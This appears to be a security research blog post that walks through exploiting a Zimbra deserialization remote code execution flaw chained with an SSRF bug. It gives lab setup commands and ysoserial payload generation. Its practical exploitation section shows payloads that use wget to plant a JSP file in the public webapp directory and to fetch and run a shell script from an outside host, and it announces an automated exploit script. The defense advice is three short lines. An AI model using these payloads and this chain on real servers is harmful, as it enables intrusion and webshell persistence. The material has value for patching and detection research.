0x00 Preface
---
The Zimbra deserialization vulnerability (CVE-2019-6980) affects Zimbra mail servers from version 8.7.x to 8.8.11 and is a remote code execution vulnerability.
Considering that more than two years have passed since the patch was publicly released and there is no complete available POC, this article will document the testing process from a technical research perspective, open-source the exploitation script, and share the details.
0x01 Introduction
---
This article will cover the following topics:
- Local vulnerability reproduction
- Practical exploitation analysis
- Open-source exploitation script
- Defense recommendations
0x02 Local Vulnerability Reproduction
---
Reference materials:
https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
https://blog.csdn.net/fnmsd/article/details/89235589?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control&dist_request_id=1328603.11954.16149289993579653&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.control
(1) Environment Setup
Select a Zimbra mail server version matching the vulnerability, download address:
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/archives/
For specific setup process, refer to other materials
(2) Create User
Create a test user test1, command as follows:
/opt/zimbra/bin/zmprov ca [email protected] Password123 displayName |
The result returns the zimbraId corresponding to test user test1, format: 11111111-1111-1111-1111-111111111111
Supplement: Other common commands
Reference: https://wiki.zimbra.com/wiki/Zmprov
List all users:
/opt/zimbra/bin/zmprov -l gaa |
List all administrator users:
/opt/zimbra/bin/zmprov gaaa |
View the zimbraId corresponding to user test1:
/opt/zimbra/bin/zmprov ga test1 zimbraId |
(3) Modify server configuration
List all servers:
/opt/zimbra/bin/zmprov gad |
Obtain the server name test.zimbra.com
View configuration information zimbraMemcachedClientServerList:
/opt/zimbra/bin/zmprov gs test.zimbra.com zimbraMemcachedClientServerList |
Default return result is empty
Set the value of zimbraMemcachedClientServerList to 127.0.0.1:
/opt/zimbra/bin/zmprov ms test.zimbra.com zimbraMemcachedClientServerList 127.0.0.1 |
(4) Restart Zimbra
/opt/zimbra/bin/zmcontrol restart |
Note:
Restart Zimbra is required for the first modification of zimbraMemcachedClientServerList
If it's not the first modification of zimbraMemcachedClientServerList, execute the ReloadMemcachedClientConfig command after setting:
/opt/zimbra/bin/zmprov rmcc all |
(5) Generate Payload
ysoserial is required here
Command as follows:
java -jar ysoserial.jar MozillaRhino2 "/bin/touch /tmp/test12345" > test.obj |
(6) Log in to test user test1 and obtain Cookie
Log in to test user test1 via browser, retrieve the login Cookie, information as follows:
0_8ef6794c8d0d991add9ebd717c09e7f7b69b8d76_69641d11161a19166611181165102d161411172d146218192d626611662d1516641717156217621062651b6578701d11111a111611111718161114121117161b76761d111a101b747970651d161a7a696d6272611b7469641d191a1211171011181914121b76657271696f6e1d11111a182e162e105f47415f111115111b617172661d111a111b; |
(7) Send Payload
Python2.7 is required here
Note:
Using Python3 requires consideration of byte array type conversion
Python2.7 code is as follows:
import requests |
Note:
The above code is modified from "Zimbra SSRF+Memcached+Deserialization Vulnerability Exploitation Reproduction"
Parameter description:
- accountid: corresponds to zimbraId
- folderNo: 2 represents inbox
- modseq: for new users, defaults to 1
- uidvalidity: for new users, defaults to 1
Code details:
Here, Cookie information needs to be added. Fill in the token after ordinary user login, set the name as ZM_ADMIN_AUTH_TOKEN. The request address is https://192.168.1.1/service/proxy?target=http://127.0.0.1:11211. This is to use the SSRF (CVE-2019-9621) vulnerability to ultimately send data to port 11211.
Typically, Zimbra does not expose port 11211 externally. However, if it is open, the above code can be modified to directly access port 11211, no longer requiring the SSRF (CVE-2019-9621) vulnerability.
(8) Trigger deserialization to execute code
Use nc to log in to the test user test1 via imap-ssl protocol, access the inbox, and trigger the vulnerability.
The commands are as follows:
ncat --ssl 192.168.1.1 993 |
0x03 Practical Exploitation Analysis
---
1. Applicable Conditions
Can be divided into the following two scenarios:
(1) Zimbra server version is 8.7.x to 8.8.11
Able to access the imap-ssl port (default 993)
Presence of SSRF (CVE-2019-9621) vulnerability
If the server has not configured zimbraMemcachedClientServerList, it needs to be set to 127.0.0.1 via the SSRF (CVE-2019-9621) vulnerability and wait for Zimbra to restart
(2) Zimbra server version is 8.7.x to 8.8.11
Must be able to access the imap-ssl port (default 993)
Absence of SSRF (CVE-2019-9621) vulnerability
Need to obtain a user credential (plaintext password)
Need to be able to access port 11211
The value of zimbraMemcachedClientServerList needs to be set to 127.0.0.1
The second scenario is too restrictive; usually it's the first scenario, so next we'll introduce the exploitation method in conjunction with the SSRF (CVE-2019-9621) vulnerability
2. Exploitation Process
The exploitation of the SSRF (CVE-2019-9621) vulnerability can use the previously open-source script Zimbra_SOAP_API_Manage.py
(1) Create User
Use the command CreateAccountSSRF to create a new user
(2) View Configuration
Use the command GetMemcachedClientConfigSSRF to obtain zimbraMemcachedClientServerList; if the result is not 127.0.0.1, it needs to be reset
(3) Set zimbraMemcachedClientServerList
Use the command GetServerSSRF to obtain the ServerID, to be used as a parameter
Use the command ModifyServerSSRF to modify the configuration, with the name zimbraMemcachedClientServerList and the value 127.0.0.1
(4) Reload
Use the command ReloadMemcachedClientConfigSSRF to make the modification take effect
(5) Generate Payload
Use the MozillaRhino2 feature in ysoserial
MozillaRhino2 implements execution of Linux commands via the exec() method in its code. Note that the exec() method cannot execute commands containing special characters, such as | >
That is to say, file write operations cannot be achieved via special characters like >
Here, the wget command can be used instead
Command Example 1: Directly download a jsp file
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.jsp --no-check-certificate -O /opt/zimbra/jetty/webapps/zimbra/public/test.jsp" > payload.obj |
Command Example 2: Download an sh script, then execute it
The content of test.sh is as follows:
#!/bin/sh |
Command to generate Payload:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj |
java -jar ysoserial.jar MozillaRhino2 "/bin/sh /tmp/test.sh" > payload.obj |
(6) Execute script Zimbra_deserialization_RCE(CVE-2019-6980).py
Zimbra_deserialization_RCE(CVE-2019-6980).py automatically performs the following operations:
- Log in as a user to obtain a Cookie
- Obtain the user's corresponding zimbraId via GetAccountInfoRequest
- Send Payload to port 11211 via the SSRF (CVE-2019-9621) vulnerability
- Log in as the user using the imap-ssl protocol, access the inbox, trigger the deserialization vulnerability, and execute code
The code has been uploaded to GitHub, address as follows:
An open-source project).py
It should be noted here that when Python uses imaplib to implement the imap-ssl protocol, it can obtain the uidvalidity value but cannot obtain the modseq value
0x04 Defense Recommendations
---
Upgrade the version, install patches
Prohibit external access to port 11211
Prohibit external access to port 7071
0x05 Summary
---
This article introduces the testing process of the Zimbra deserialization vulnerability (CVE-2019-6980), the open-source exploit script Zimbra_deserialization_RCE(CVE-2019-6980).py, and shares the details.